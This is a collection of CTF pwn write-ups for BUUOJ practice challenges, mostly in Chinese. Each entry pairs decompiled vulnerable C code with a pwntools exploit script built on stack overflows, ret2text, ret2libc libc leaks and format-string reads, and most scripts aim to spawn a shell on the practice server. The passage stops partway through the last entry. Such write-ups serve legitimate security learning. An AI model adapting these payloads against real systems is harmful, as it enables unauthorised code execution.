# rip
## Information
- Category: Pwn
- Points: 1
## Write-up
丢给 IDA 老婆分析,看到有一个危险函数 `gets`,还有一个 `fun` 会返回 `system("/bi
n/sh")`,保护全关。直接打,注意栈对齐。
## Exploit
```python
#!/usr/bin/python
from pwn import ROP, args, context, flat, gdb, process, remote
gdbscript = """
b *main+32
b *main+67
c
"""
FILE = "./pwn1"
HOST, PORT = "node5.buuoj.cn", 27889
context(log_level="debug", binary=FILE, terminal="kitty")
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
if args.D:
gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload():
elf = context.binary
rop = ROP(elf)
payload = flat(b"A" * 0x17, rop.ret.address, elf.symbols["fun"])
return payload
def main():
target = launch()
payload = construct_payload()
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# warmup_csaw_2016
## Information
- Category: Pwn
- Points: 1
## Write-up
`int sprintf(char* buffer, const char* format, ...);` 函数将格式化后的数据写入缓
冲区,返回值是写入的字符数,不包括末尾的空字符 `0`。`snprintf` 加入了缓冲区大小
检查以及自动截断,比 `sprintf` 更安全,虽然本题没考这个函数的安全性问题。
这里 `vuln` 的地址将被写入 buffer `s`,然后 `write` 负责将 buffer `s` 中前九个字
节,也就是 `vuln` 的地址输出到标准输出。
`main` 返回的是 `gets`,我们通过这个 `gets` 覆盖返回地址,修改为白送的 `vuln` 的
地址即可。
```c del={11}
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
_BYTE v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%pn", vuln);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
```
```c
int vuln()
{
return system("cat flag.txt");
}
```
## Exploit
```python
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote
gdbscript = """
b *main+70
b *main+129
c
"""
FILE = "./pwn-patched"
HOST, PORT = "node5.buuoj.cn", 26553
context(log_level="debug", binary=FILE, terminal="kitty")
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
if args.D:
gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(leaked_addr):
payload = flat(b"A" * 0x48, leaked_addr)
return payload
def main():
target = launch()
target.recvuntil(b"WOW:")
leaked_addr = int(target.recvline().strip(), 16)
payload = construct_payload(leaked_addr)
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# ciscn_2019_n_1
## Information
- Category: Pwn
- Points: 1
## Write-up
通过 `gets` 将 `v2` 篡改为 `11.28125` 即可。
```c ins={9-10} del={8}
int func()
{
_BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
```
第一次接触小数的处理问题,调试的时候,可以使用 `p/f $xmm0` 来查看这个寄存器的值
,同理,使用 `p` 指令加上强制转换和解引用,可以检查地址处保存的小数值:
```asm wrap=false showLineNumbers=false
pwndbg> p/f $xmm0
$1 = {
v8_bfloat16 = {-0, 11.25, 0, 0, 0, 0, 0, 0},
v8_half = {-0, 2.6016, 0, 0, 0, 0, 0, 0},
v4_float = {11.28125, 0, 0, 0},
v2_double = {5.404878958234834e-315, 0},
v16_int8 = {0, -128, 52, 65, 0 <repeats 12 times>},
v8_int16 = {-0, 2.6016, 0, 0, 0, 0, 0, 0},
v4_int32 = {11.28125, 0, 0, 0},
v2_int64 = {5.404878958234834e-315, 0},
uint128 = 3.98770131343430171379e-4942
}
pwndbg> p/f $xmm0.v4_int32[0]
$2 = 11.28125
pwndbg> p *(float *)($rbp - 4)
$3 = 11.28125
```
## Exploit
```python
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote, struct
gdbscript = """
b *func+58
c
"""
FILE = "./ciscn_2019_n_1"
HOST, PORT = "node5.buuoj.cn", 25637
context(log_level="debug", binary=FILE, terminal="kitty")
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
if args.D:
gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload():
payload = flat(b"A" * 0x2C, struct.pack("<f", 11.28125))
return payload
def main():
target = launch()
payload = construct_payload()
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# pwn1_sctf_2016
## Information
- Category: Pwn
- Points: 1
## Write-up
```c ins={12} del={18, 25-26}
int vuln()
{
const char *v0; // eax
int v2; // [esp+8h] [ebp-50h]
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
_BYTE v4[4]; // [esp+3Ch] [ebp-1Ch] BYREF
_BYTE v5[7]; // [esp+40h] [ebp-18h] BYREF
char v6; // [esp+47h] [ebp-11h] BYREF
_BYTE v7[7]; // [esp+48h] [ebp-10h] BYREF
_BYTE v8[5]; // [esp+4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: ");
fgets(s, 32, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v6);
std::string::string(v5, "you", &v6);
std::allocator<char>::allocator(v8);
std::string::string(v7, "I", v8);
replace((std::string *)v4, (std::string *)&input, (std::string *)v7);
std::string::operator=(&input, v4, v2, v5);
std::string::~string(v4);
std::string::~string(v7);
std::allocator<char>::~allocator(v8);
std::string::~string(v5);
std::allocator<char>::~allocator(&v6);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %sn", s);
}
```
从上面代码可知,`fegts` 读取了 32 个字符到 buffer `s`,其中 `0` 占了一个位置,所
以我们可以输入的有 31 个字符。
接着,`replace` 会将 buffer `s` 中的字符 `I` 替换为 `you`,返回修改后的字符串,
赋给 `input`;`v0` 是 `input.c_str()` 的结果,其中 `c_str()` 的功能是 `Returns a
pointer to a null-terminated character array with data equivalent to those stor
ed in the string.` 这个结果被 `strcpy` 复制到 buffer `s`,由于 `strcpy` 不会检查
buffer 大小,所以可能造成溢出,溢出后我们篡改返回地址返回到后门函数 `get_flag`
即可。
这个 `replace` 函数怎么说呢……反正我是没自己读反编译的代码,没学过 `C++`,看着头
好大……我做这题的时候刚开始是看见 `vuln` 中有涉及 `replace` 的字眼,就觉得可能会
对字符串做一些替换修改的操作吧。接着看到代码中出现的 `you`,`I` 这样的字符串常量
,直接运行程序拿这些内容去试试,发现输入 `I` 会被替换成 `you`,那 `replace` 的作
用不用看也猜得差不多了。最后,闲的没事,我让 GPT 分析了一下 `replace` 的功能,和
猜的也差不多。太菜了呜呜呜……
```cpp collapse={4-45}
std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3
)
{
int v4; // [esp+Ch] [ebp-4Ch]
_BYTE v5[4]; // [esp+10h] [ebp-48h] BYREF
_BYTE v6[7]; // [esp+14h] [ebp-44h] BYREF
char v7; // [esp+1Bh] [ebp-3Dh] BYREF
int v8; // [esp+1Ch] [ebp-3Ch]
_BYTE v9[4]; // [esp+20h] [ebp-38h] BYREF
int v10; // [esp+24h] [ebp-34h] BYREF
int v11; // [esp+28h] [ebp-30h] BYREF
char v12; // [esp+2Fh] [ebp-29h] BYREF
_DWORD v13[2]; // [esp+30h] [ebp-28h] BYREF
_BYTE v14[4]; // [esp+38h] [ebp-20h] BYREF
int v15; // [esp+3Ch] [ebp-1Ch]
_BYTE v16[4]; // [esp+40h] [ebp-18h] BYREF
int v17; // [esp+44h] [ebp-14h] BYREF
_BYTE v18[4]; // [esp+48h] [ebp-10h] BYREF
_BYTE v19[8]; // [esp+4Ch] [ebp-Ch] BYREF
while ( std::string::find(a2, a3, 0) != -1 )
{
std::allocator<char>::allocator(&v7);
v8 = std::string::find(a2, a3, 0);
std::string::begin((std::string *)v9);
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10);
std::string::begin((std::string *)&v11);
std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v6, v1
1, v10, &v7);
std::allocator<char>::~allocator(&v7);
std::allocator<char>::allocator(&v12);
std::string::end((std::string *)v13);
v13[1] = std::string::length(a3);
v15 = std::string::find(a2, a3, 0);
std::string::begin((std::string *)v16);
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(v14);
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v17);
std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v5, v1
7, v13[0], &v12);
std::allocator<char>::~allocator(&v12);
std::operator+<char>((std::string *)v19);
std::operator+<char>((std::string *)v18);
std::string::operator=(a2, v18, v5, v4);
std::string::~string(v18);
std::string::~string(v19);
std::string::~string(v5);
std::string::~string(v6);
}
std::string::string(a1, a2);
return a1;
}
```
## Exploit
```python
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote
gdbscript = """
b *vuln+42
c
"""
FILE = "./pwn1_sctf_2016"
HOST, PORT = "node5.buuoj.cn", 28688
context(log_level="debug", binary=FILE, terminal="kitty")
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
if args.D:
gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload():
elf = context.binary
payload = flat(b"I" * 21 + b"A", elf.symbols["get_flag"])
return payload
def main():
target = launch()
payload = construct_payload()
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# jarvisoj_level0
## Information
- Category: Pwn
- Points: 1
## Write-up
闹着玩呢?不写了,和第一题差不多。
## Exploit
```python
#!/usr/bin/python
from pwn import ROP, args, context, flat, gdb, process, remote
gdbscript = """
c
"""
FILE = "./level0"
HOST, PORT = "node5.buuoj.cn", 27572
context(log_level="debug", binary=FILE, terminal="kitty")
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
if args.D:
gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload():
elf = context.binary
rop = ROP(elf)
payload = flat(b"A" * 0x88, rop.ret.address, elf.symbols["callsystem"])
return payload
def main():
target = launch()
payload = construct_payload()
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# [第五空间 2019 决赛] PWN5
## Information
- Category: Pwn
- Points: 1
## Write-up
```c del={19, 21} ins={23-28}
int __cdecl main(int a1)
{
time_t v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
```
核心逻辑是判断 `atoi(nptr) == dword_804C044`,因此只要我们需要知道 `dword_804C04
4` 的值,就可以拿到 `shell`。
这题完全就是考了个格式化字符串漏洞,`read(fd, &dword_804C044, 4u);` 将随机数读取
到 `bss` 段,所以我们只要想办法泄漏 `bss` 中保存的 `dword_804C044` 的值就好了。`
dword_804C044` 的地址可以通过 `bss` 段基地址加上 debug 出来的数据偏移计算得到。
把泄漏的地址和格式化字符串一起作为输入发送,用 `%s` 来输出栈上保存的地址所指向的
值。
## Exploit
```python
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote, u32
gdbscript = """
b *0x80492bc
b *0x80492f0
c
"""
FILE = "./pwn"
HOST, PORT = "node5.buuoj.cn", 26163
context(log_level="debug", binary=FILE, terminal="kitty")
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
if args.D:
gdb.attach(target, gdbscript=gdbscript)
return target
def rev_atoi(data):
return str(u32(data)).encode()
def construct_payload():
elf = context.binary
payload = flat(b"aa%12$sx00", elf.bss() + 0x4)
return payload
def main():
target = launch()
payload = construct_payload()
target.sendlineafter(b"your name:", payload)
target.recvuntil(b"aa")
passwd = rev_atoi(target.recv(0x4))
target.sendlineafter(b"your passwd:", passwd)
target.interactive()
if __name__ == "__main__":
main()
```
# jarvisoj_level2
## Information
- Category: Pwn
- Points: 1
## Write-up
```c del={6}
ssize_t vulnerable_function()
{
_BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:");
return read(0, buf, 256u);
}
```
观察上面程序,`read` 可以溢出破坏返回地址。由于这是 32-bit 程序,函数参数通过栈
来传递,所以我们可以覆盖返回地址为 `system@plt`,然后在栈上写传给 `system` 的参
数。
我们希望拿 `shell`,直接 IDA `Shift + F12` 看程序包含的字符串,发现有 `.data:080
4A024 hint db '/bin/sh',0`,那么参数问题就解决了,因为没开 PIE,直接就是固定地址
。
需要注意的是,如果你返回到 `call system@plt` 这样的内部指令,由于 `call` 指令会
自动将下一条指令的地址压入栈中,作为函数调用结束后的返回地址,所以你可以直接在它
之后写要传入的参数;而如果选择返回到 `system@plt`,那就需要手动提供一个地址作为
函数调用结束后的返回地址,之后才是跟着函数的参数。
即,`call` 指令可以分解为 `push eip_next; jmp <entry>`,而返回到 `system@plt` 相
当于直接 `jmp system@plt`,没有设置返回地址。
## Exploit
```python
#!/usr/bin/python
from pwn import args, context, flat, gdb, process, remote
gdbscript = """
set follow-fork-mode parent
b *vulnerable_function+42
b *vulnerable_function+52
c
"""
FILE = "./level2"
HOST, PORT = "node5.buuoj.cn", 25976
context(log_level="debug", binary=FILE, terminal="kitty")
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
if args.D:
gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload():
elf = context.binary
payload = flat(
b"A" * 0x8C,
elf.plt["system"],
0x0, # return address placeholder
next(elf.search(b"/bin/sh")),
)
return payload
def main():
target = launch()
payload = construct_payload()
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# ciscn_2019_n_8
## Information
- Category: Pwn
- Points: 1
## Write-up
```c ins={11-14} del={10} collapse={18-40}
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!n", var);
puts("Try do something~");
}
return 0;
}
```
`__isoc99_scanf((int)"%s", (int)var, v4, v5);` 存在栈溢出漏洞,因为没有限制 `%s`
可以读取的字符数。这里 IDA 反编译出来多了两个无关的参数 `v4` 和 `v5`,直接忽视
就好了。后面两个条件判断,第一个 `*(_QWORD *)&var[13]` 是将 `&var[13]` 处的八字
节,解释成一个整数,看它的值是否为 `0`,不为零则进入下一个判断;`*(_QWORD *)&var
[13] == 0x11LL`,看 `&var[13]` 这个地址处的八字节整数是否为 `0x11`,成立则 `gets
hell`。
## Exploit
```python
#!/usr/bin/python
from pwn import args, context, flat, gdb, p64, process, remote
gdbscript = """
b *main+100
b *main+105
c
"""
FILE = "./ciscn_2019_n_8"
HOST, PORT = "node5.buuoj.cn", 29741
context(log_level="debug", binary=FILE, terminal="kitty")
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
if args.D:
gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload():
payload = flat(b"A" * 52, p64(0x11))
return payload
def main():
target = launch()
payload = construct_payload()
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# bjdctf_2020_babystack
## Information
- Category: Pwn
- Points: 1
## Write-up
```c del={16,18}
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}
```
`read` 读取多少字符是通过 `__isoc99_scanf` 控制的。
## Exploit
```python
#!/usr/bin/python
from pwn import ROP, args, context, flat, gdb, process, remote
gdbscript = """
b *main+197
b *main+208
c
"""
FILE = "./bjdctf_2020_babystack"
HOST, PORT = "node5.buuoj.cn", 29741
context(log_level="debug", binary=FILE, terminal="kitty")
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
if args.D:
gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload():
elf = context.binary
rop = ROP(elf)
payload = flat(b"A" * 0x18, rop.ret.address, elf.symbols["backdoor"])
return payload
def main():
target = launch()
payload = construct_payload()
target.sendlineafter(b"your name:", b"1337")
target.sendlineafter(b"What's u name?", payload)
target.interactive()
if __name__ == "__main__":
main()
```
# ciscn_2019_c_1
## Information
- Category: Pwn
- Points: 1
## Write-up
程序的 `main` 函数里没什么有用的信息,重点看下面的 `encrypt` 函数。
```c del={10,35}
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
```
基本就是把输入字符串经过一些 `xor` 运算,得到密文。注意到获取输入使用的是 `gets`
,所以我们可以覆盖返回地址。程序没有包含任何后门函数,所以我们可以打 shellcode
或者 ROP,但是程序开了 NX,而且 ropper 也没有给出什么 syscall 之类的构造 ROP 链
的 gadgets,那就打 ret2plt 泄漏 libc 地址,再打 ret2libc getshell.
不过我们的 payload 经过 `encrypt` 的加密会被破坏,所以一个想法是想办法让我们的输
入经过 `encrypt` 的加密出来得到的是 payload 本身,另一种想法是想办法绕过加密逻辑
。前者比较麻烦,我们优先思考后者。发现执行加密逻辑前有个判断,如果满足 `if ( v0
>= strlen(s) )` 就不会执行加密逻辑。字符串长度是通过 `strlen` 获取的,这个函数判
断字符串结束的方法是检测 `x00` 字符,所以如果我们把 `x00` 放在 payload 开头,这
个判断就会认为我们的字符串长度为 0,不去执行下面的加密逻辑,成功绕过。
因为 `encrypt` 是返回到 `puts(s)`,由于在此之前我们已经执行过 `puts` 了,所以 go
t 表中一定有它在 libc 中的真实地址。所以我们可以通过 `puts` 泄漏 `puts@got` 中保
存的真实地址,然后算出 libc 基地址,再用 libc 中的 `system` 和 `/bin/sh` 字符串
构造 getshell 的 ROP 链。
由于我们返回到 `puts` 泄漏完地址后程序就结束了,所以我们在第一阶段泄漏出地址后需
要让程序返回到 `main`,重新运行主菜单逻辑(只要程序没有 exit,就不会改变 libc 基
址),之后再把第二阶段的 ROP 链发出去。
由于题目没给 libc,所以远程需要用 `LibcSearcher` 来打。本地打的时候直接用系统的
libc,等本地通了再改成 `LibcSearcher` 去打远端,直接用 `LibcSearcher` 打不通本地
,可能因为 libc-database 更新不及时,没有我们本地的 libc 版本。
## Exploit
```python
#!/usr/bin/python
from pwn import ROP, args, context, flat, gdb, log, process, remote, u64
from LibcSearcher.LibcSearcher import LibcSearcher
gdbscript = """
# b *encrypt+61
# b *encrypt+322
# b *encrypt+334
c
"""
FILE = "./ciscn_2019_c_1"
HOST, PORT = "node5.buuoj.cn", 28304
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def to_hex_bytes(data):
return "".join(f"\x{byte:02x}" for byte in data)
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
if args.D:
gdb.attach(target, gdbscript=gdbscript)
return target
def construct_payload(stage, libc, libc_base):
rop = ROP(elf)
if stage == 1:
return flat(
b"x00",
b"A" * 0x57,
rop.rdi.address,
elf.got["puts"],
elf.plt["puts"],
elf.symbols["main"],
)
elif stage == 2:
return flat(
b"x00",
b"A" * 0x57,
rop.rdi.address,
libc_base + libc.dump("str_bin_sh"),
rop.ret.address,
libc_base + libc.dump("system"),
0x0,
)
else:
log.error(b"Failed constructing payload!")
def main():
target = launch()
payload = construct_payload(1, None, None)
target.sendlineafter(b"Input your choice!", b"1")
target.sendline(payload)
target.recvuntil(b"Ciphertext")
leaked_puts = u64(target.recv(0x8).strip().ljust(8, b"x00"))
libc = LibcSearcher("puts", leaked_puts)
libc_base = leaked_puts - libc.dump("puts")
log.success(f"libc base: {hex(libc_base)}")
payload = construct_payload(2, libc, libc_base)
target.sendlineafter(b"Input your choice!", b"1")
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# jarvisoj_level2_x64
## Information
- Category: Pwn
- Points: 1
## Write-up
`vulnerable_function` 有一个 BOF,我们用它覆盖 retaddr 构造 ROP Chain,由于会返
回到 `system("echo 'Hello World!'")`,我们只要想办法改掉 rdi 即可。这里没有发现
获得栈地址的方法,把 `/bin/sh` 写入栈上不行。但是 IDA 搜索字符串发现程序本身包含
`/bin/sh` 字符串,没 PIE,直接拿来用。
## Exploit
```python
#!/usr/bin/env python3
from pwn import ROP, args, context, flat, p64, process, raw_input, remote
FILE = "./level2_x64"
HOST, PORT = "node5.buuoj.cn", 27792
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
return target
def main():
target = launch()
rop = ROP(elf)
payload = flat(
b"A" * 0x88,
p64(rop.rdi.address),
0x600A90,
p64(rop.ret.address),
elf.plt["system"],
)
raw_input()
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# get_started_3dsctf_2016
## Information
- Category: Pwn
- Points: 1
## Write-up
main 中 `gets` BOF,覆盖返回地址为 `get_flag` 即可。但是这个函数会检测传入的两个
参数,我们需要把参数设置好。
本地打通了,打远程的时候遇到 `timeout: the monitored command dumped core`,有几
种说法是:栈没对齐;程序没正常退出。这里我们给 `get_flag` 设置返回到 `exit` 就行
。
## Exploit
```python
#!/usr/bin/env python3
from pwn import args, context, flat, p32, process, raw_input, remote
FILE = "./get_started_3dsctf_2016"
HOST, PORT = "node5.buuoj.cn", 25782
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
return target
def main():
target = launch()
payload = flat(
b"A" * 0x38,
elf.sym["get_flag"],
p32(0x0804E6A0),
p32(814536271),
p32(425138641),
)
# raw_input()
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# [HarekazeCTF2019]baby_rop
## Information
- Category: Pwn
- Points: 1
## Write-up
和前面 `jarvisoj_level2_x64` 差不多。
## Exploit
```python
#!/usr/bin/env python3
from pwn import ROP, args, context, flat, process, raw_input, remote
FILE = "./babyrop"
HOST, PORT = "node5.buuoj.cn", 28698
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
return target
def main():
target = launch()
rop = ROP(elf)
payload = flat(
b"A" * 0x18,
rop.rdi.address,
next(elf.search(b"/bin/sh")),
rop.ret.address,
elf.plt["system"],
)
# raw_input()
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# others_shellcode
## Information
- Category: Pwn
- Points: 1
## Write-up
怕不是签到题?
## Exploit
```python
#!/usr/bin/env python3
from pwn import args, context, process, remote
FILE = "./shell_asm"
HOST, PORT = "node5.buuoj.cn", 28960
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
return target
def main():
target = launch()
# raw_input()
target.interactive()
if __name__ == "__main__":
main()
```
# [OGeek2019]babyrop
## Information
- Category: Pwn
- Points: 1
## Write-up
`strlen` 检测到 `x00` 就结束,所以先通过 `x00` 绕过 `strncmp`。之后将 `buf[7]`
处的一字节有符号整数转换为无符号数返回,如果这里是 `-1` 就会返回很大的数。
```c ins={13-14}
int __cdecl sub_804871F(int buffer)
{
size_t len; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", buffer);
v5 = read(0, buf, 32u);
buf[v5 - 1] = 0;
len = strlen(buf);
if ( strncmp(buf, s, len) )
exit(0);
write(1, "Correctn", 8u);
return (unsigned __int8)buf[7];
}
```
`sub_80487D0` 将上一个函数的返回值作为参数,如果等于 `127` 就执行第一个 `read`,
否则执行第二个 `read`。由于我们在 `buf[7]` 处保存 `-1`,会返回 `0xffffffff`,所
以我们获得了一个很大的 BOF 空间。
```c del={8}
ssize_t __cdecl sub_80487D0(char a1)
{
_BYTE buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
return read(0, buf, 200u);
else
return read(0, buf, a1);
}
```
思路是绕过 `sub_804871F` 的 `strncmp` 后,拿到一个很大的栈溢出,通过 `sub_80487D
0` 的 `read(0, buf, a1)` 构造 ROP,利用 `puts` 泄漏 libc,`puts` 返回到 `main`
触发二次输入,同理先绕检测,然后构造 getshell 的 ROP Chain.
## Exploit
```python
#!/usr/bin/env python3
from pwn import ELF, args, context, flat, p32, process, remote, u32
FILE = "./challenge"
HOST, PORT = "node5.buuoj.cn", 26812
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = ELF("./libc-2.23.so")
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
return target
def main():
target = launch()
payload_1 = b"x00" * 0x7 + b"xff" + b"x00"
target.send(payload_1)
target.recvuntil(b"x0a")
payload = flat(b"A" * 0xEB, elf.plt["puts"], p32(elf.sym["main"]), elf.got["
puts"])
target.send(payload)
libc.address = u32(target.recv(0x4)) - libc.sym["puts"]
target.send(payload_1)
target.recvuntil(b"x0a")
payload = flat(b"A" * 0xEB, libc.sym["system"], 0, next(libc.search(b"/bin/s
h")))
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# ciscn_2019_n_5
## Information
- Category: Pwn
- Points: 1
## Write-up
一个保护都没开,本来想打 ret2shellcode,但是奈何没给 libc,啥也不是!
无奈,只得使用好久没用过的 `LibcSearcher` 了 lol
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ROP,
args,
context,
flat,
process,
raw_input,
remote,
u64,
)
from LibcSearcher.LibcSearcher import LibcSearcher
FILE = "./ciscn_2019_n_5"
HOST, PORT = "node5.buuoj.cn", 26903
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
rop = ROP(elf)
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
return target
def main():
target = launch()
# raw_input("DEBUG")
target.sendlineafter(b"name", b"")
payload = flat(
b"A" * 0x28,
rop.rdi.address,
elf.got["puts"],
elf.plt["puts"],
elf.sym["main"],
)
target.sendlineafter(b"me?", payload)
target.recvline()
leaked_puts = u64(target.recv(0x6).strip().ljust(0x8, b"x00"))
libc = LibcSearcher("puts", leaked_puts)
libc_base = leaked_puts - libc.dump("puts")
payload = flat(
b"A" * 0x28,
rop.rdi.address,
libc_base + libc.dump("str_bin_sh"),
rop.ret.address,
libc_base + libc.dump("system"),
libc_base + libc.dump("exit"),
)
target.sendlineafter(b"name", b"")
target.sendlineafter(b"me?", payload)
target.interactive()
if __name__ == "__main__":
main()
```
# not_the_same_3dsctf_2016
## Information
- Category: Pwn
- Points: 1
## Write-up
BOF,ROP Chain,有后门函数 `get_secret`,会将 flag 写入 bss,我们通过 write 输出
bss 内容即可。
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ROP,
args,
constants,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./not_the_same_3dsctf_2016"
HOST, PORT = "node5.buuoj.cn", 25163
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
rop = ROP(elf)
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
return target
def main():
target = launch()
# raw_input("DEBUG")
payload = flat(
b"A" * 0x2D,
elf.sym["get_secret"],
elf.sym["write"],
elf.sym["exit"],
constants.STDOUT_FILENO,
elf.bss() + 0xAAD,
1337,
)
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
# ciscn_2019_en_2
## Information
- Category: Pwn
- Points: 1
## Write-up
不理解,这题和 [ciscn_2019_c_1](#ciscn_2019_c_1) 不是一样的吗?
## Exploit
Same as [ciscn_2019_c_1](#ciscn_2019_c_1).
# ciscn_2019_ne_5
## Information
- Category: Pwn
- Points: 1
## Write-up
```c ins={24} collapse={4-21, 27-56}
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+0h] [ebp-100h] BYREF
char src[4]; // [esp+4h] [ebp-FCh] BYREF
